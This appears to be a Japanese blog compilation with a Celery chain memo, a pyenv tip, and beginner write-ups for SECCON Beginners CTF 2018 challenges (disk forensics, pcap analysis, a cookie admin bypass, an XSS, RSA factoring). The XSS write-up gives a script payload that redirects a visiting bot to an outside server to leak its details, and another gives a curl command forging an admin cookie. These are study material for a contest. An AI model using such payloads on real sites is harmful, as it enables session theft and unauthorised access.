Celeryのchainの使い方メモ
monkeyjack人工植物草Imitation CeleryリーフグリーンFoliage Home Decor 0fc86a448d9ee0e32f6ad4b8bd12d311
- 出版社/メーカー: MonkeyJack
- メディア: ホーム&キッチン
- この商品を含むブログを見る
コメント
Celery(セロリ)のメモ。
実装例
並列処理する対象の関数、関数その1、その2があるとして、関数その1が一度終わったら、そのまま引数を引き継いで関数その2に受け渡す例 (具体例:メールを送信する関数1、成功・失敗をプリントする関数2)
app/tasks.py/
#app/tasks.py/ from celery import shared_task @shared_task def add(x, y): return 2 * x + y @shared_task def printer(z): string="some string" print("pre print==>",string)#redisのログに吐き出される return z
app/views.py/
#app/views.py/ from .tasks import * from celery import chain #urls.pyと連動したtest def test(request): result = add.delay(3, 8) #通常のcelery関数ひとつ while not result.ready(): print('spam') print(result.get()) #プリントデバッグはこれ(これ以外はredisのログを見る) result = chain(add.s(4, 4), printer.s()).apply_async() #↑関数addに引数4,4を投入、 #addの返り値"2 * x + y"を #関数printerの第一引数になる。 #add.sのsはシグネイチャーという機能の略らしい print(result.get()) #プリントデバッグは同じ ・・・以下は通常のDjango.viewsと同じ
参考記事
pyenvがうまく動かない時のおまじない$ eval "$(pyenv init -)"
- 作者: Bill Lubanovic,斎藤康毅,長尾高弘
- 出版社/メーカー: オライリージャパン
- 発売日: 2015/12/01
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (3件) を見る
$ eval "$(pyenv init -)"
.imgの解析問題を解く[CTF for Beginners 2018]"Find the messages"
経緯
主にこの記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up
手順
1 7zを解凍
disk.img_de4d3f06696ce78c1646ed140a0ca4e5fbe4c0aa.7z というファイルがドンとあるだけ。まず、.7zという拡張子なので、これを解凍する必要がある$ brew install p7zip
で入るp7zipというパッケージで解凍できるようになる。
$ 7z e disk.img_de4d3f06696ce78c1646ed140a0ca4e5fbe4c0aa.7z $ 7z x disk.img
なぜかわからないけどextractするコマンドを2回叩いたらしいから記録に残しておく。とりあえず、それでファイルが展開される。
2 message1
txtファイルに謎の文字列。見覚えがあるのはpython使ってるからかな・・・base64ですね。 Y3RmNGJ7eTB1X3QwdWNoZWQ=
で、デコード。
>>> import base64 >>> str ="Y3RmNGJ7eTB1X3QwdWNoZWQ=" >>> base64.b64decode(str) b'ctf4b{y0u_t0uched'
でた!
3 message2
message_2_of_3.pngが見れない。ファイルが壊れてる??ということで、どうなってるのかバイナリをチェックしましょう。自分は0xEDというソフトを使ってます。
バイナリの最初がPNGは決まっているのですが、XXXXXXみたいになってるので、書き直します。
このように。
すると見えます。
_a_part_0f_
ですね、オブのオーがゼロなのでご注意をば。
3 message3
binwalkってのがいいらしいんですが、インストール後なんかうまく動いてくれないので別途foremostというツールを利用。
$ foremost disk.img foremost: /usr/local/etc/foremost.conf: No such file or directory Processing: disk.img |*|
00018946.pdfというファイルが手に入ります。 PDFに書いてます↓
"disk_image_for3nsics}"
これを足して、
ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}
が正解!
参考引用元記事
こちらも参考にさせていただきました。
メールのキャプチャを追う問題を解く[CTF for Beginners 2018]"[Warmup] plain mail"
経緯
主にこの記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up
手順
0 wiresharkをインストール
wiresharkは存在は知っていたけど、使うのは初めて。なのでインストール@MacOSXでも、ちょっとBREWでサクッとはいかないからこの記事がいいです。 HomebrewでGUIなWiresharkをインストール | Scribble
1 wireshark起動
ファイルを開くで、ダウンロードしてきた問題のファイルpacket.pcap
を開く。するとやりとりが見える。
やりとりが2つのIPで往復していることを把握。で、ちょっと切れてしまっていますが、IP〜03が、IP〜02に対して「メール送信後に暗号化データを送るパスワードを送る」とあり、
↑でパスワードがわかる。_you_are_pro_
3 暗号化されたデータを取得して解錠
まだ終わらない。ここでその鍵を開ける側のファイルを入手する必要がある。これは、ファイル=>オブジェクトをエクスポート=>IMF形式
で取り出せる。と、参考記事にあったので試すと無事取り出せた。IMFはInretnet MessageFormatの略なんだ、へー
すると、zipファイルが出てきて、それにパスワードを入れて解凍すると、フラグが見える!
参考引用元記事
こちらも参考にさせていただきました。
Webのログインクラック問題を解く[CTF for Beginners 2018]"[Warmup] Greeting"
経緯
この記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up
手順
1 まず挙動を見る
コードもぺろんと書かれている
<?php if(isset($_POST['name'])) { setcookie("name", $_POST['name'], time()+3600); $username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8"); // 管理者でログインできる? if($username === "admin") { $username = "偽管理者"; } } elseif(isset($_COOKIE['name'])) { $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8"); } else { $username = "ゲスト"; } ?> <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <title>SECCON Beginners greeting service</title> </head> <body> <h1>こんにちは!<?=$username?>さん!</h1> <hr> <?php if($username === 'admin'): ?> こんにちは管理者さん。 Flagは、 "<?=$_ENV['SECCON_BEGINNERS_FLAG']?>"です。 <?php else: ?> こんにちは<?=$username?>さん。 Flagは、管理者である"admin"さんにのみしか表示されません。 <?php endif; ?> <form method="POST"> <input type="text" placeholder="名前" name="name"> <button type="submit">名前を変更する</button> </form> <pre> <code> <?=htmlspecialchars(file_get_contents("./index.php"), ENT_QUOTES, "UTF-8")?> </code> </pre> </body> </html>
$username == 'admin'
ならFlagは、・・・と表示されるはずが、フォームにadmin
と入れるとPHPによって$username = '偽管理者'
と代入されなおされてしまう!うーむ。
$_POST['name']うんたらということはPOSTメソッドのときに動くわけであるから、POSTじゃない方法でクッキーにadmin
とセットしたままこのサーバーにアクセスできればいいんだ。ということになる。
GETでアクセス
要するに、これは一旦POSTしたあとに再読込すればいいということになる。
こんにちは管理者さん。 Flagは、 "ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}"です。
OK!
curlでもできるよ
もちろんカールでもできます^^
$ curl -b name=admin greeting.chall.beginners.seccon.jp
参考資料によると、下記のようにgrepをかけると、flag部分だけ抽出できてより手っ取り早い!
$ curl -b name=admin greeting.chall.beginners.seccon.jp | grep ctf4b
参考引用元記事
こちらも参考にさせていただきました。
http://zeosutt.hatenablog.com/entry/2018/05/27/140530
XSS問題を解く[CTF for Beginners 2018]"Gimme your comment"
経緯
この記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up
手順
1 XSSの可能性を疑い、検証
見えるのは、Webアプリフレームワークでよく作るBootstrap風のサイト。投稿できるフォームがあるのみ。
まず、投稿フォームが機能しているので、投稿してみる。ここで、Web上のフォームの脆弱性をつく、ということで、XSSの可能性を考える。これを調べるのは、<h1>あ</h1>
とかをフォームに入れてみて、<h1>
タグがエスケープされているか、されていなくて反応してでっかく文字が出てくるかを見れば良い。すると、フォームのタイトルはエスケープされているものの、コメント本文はエスケープされていない。ここにXSSをしかけることができるとわかる。
2 サーバーを用意しXSSをしかける
User-Agentはどういうときにわかるか、それはサーバーにアクセスしたときのサーバーログだということで、サーバーログが見れる自分の外部公開しているサーバーのURLを用意する。(今回は仮にhttp://www.fugafugafugafuga.com
とする。実際は自分のサーバーのURLを設定した。)
※ちなみに注意すべきなのは外部公開していないローカルサーバーでは意味がないです。例えば127.0.0.1
とかではサーバーにログが残りません。CTF4bのサーバーからもアクセスできるように外部公開サーバーにしましょう。
下記Javascriptコードでリダイレクトさせられる。
<script>location.href="http://www.fugafugafugafuga.com"</script>
フォーム本文にこのコードを入力、投稿ボタンを押したら、www.fugafugafugafuga.com
にリダイレクトされたのを確認する。
3 サーバーのログを見る
サーバーのログを見る。と、アクセスが起きた時刻のログをよく見ると、フラグが書いてある。解けた!!
参考引用元記事
こちらも参考にさせていただきました。
zeosutt.hatenablog.com
RSA暗号解読問題を解く(前編)[CTF for Beginners 2018]"RSA is Power"
セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-
- 作者: 碓井利宣,竹迫良範,廣田一貴,保要隆明,前田優人,美濃圭佑,三村聡志,八木橋優,SECCON実行委員会
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/09/30
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (4件) を見る
経緯
この記事を元にCTF復習中 SECCON Beginners CTF 2018 Write-up
2問目
N = 97139961312384239075080721131188244842051515305572003521287545456189235939577 E = 65537 C = 77361455127455996572404451221401510145575776233122006907198858022042920987316
という3つの数字が並ぶ。わかったところまでメモる。
手順
1:Cは末尾が6。_%2
も(_%2)%2
も0なので2素数の積ではない。モジュロには不適。 Eは桁数が少ないのでRSA暗号のモジュロにするには不適(そもそも実際素数なので素数の積になりえない)なので、Eはたぶん公開鍵だろうなとあたりをつける。でNがモジュロだとあたりをつける。で素因数分解。このとき77桁なので、まあ素因数分解できるか
bit数を測る:桁数じゃなくてビット数をカウントして計算量を測る場合。
>>> s = "97139961312384239075080721131188244842051515305572003521287545456189235939577" >>> bin(int(s)) '0b1101011011000011010001010000101111000110001110110000000000011110000100101000011111100011100010110110101110011101101011100011011010111111001101011011101011110011100100011011001010011111001010011000110010101010110111011110000111011111101011100100100011111001' >>> len(bin(int(s))) 258 #258bit
2258 の情報量ということですね。
情報量のメモ。 ビット
参考まで
>>> len(bin(0)) 3 >>> len(bin(10)) 6 >>> len(bin(100)) 9 >>> len(bin(100000)) 19
$ ./msieve -e -p -q -v "97139961312384239075080721131188244842051515305572003521287545456189235939577" ぶわーっと始まる recovered 18 nontrivial dependencies p39 factor: 299681192390656691733849646142066664329 p39 factor: 324144336644773773047359441106332937713 elapsed time 00:02:49
で、素数の積となる組み合わせPとQは、299681192390656691733849646142066664329と324144336644773773047359441106332937713になるということころまでわかりました。
続きは次回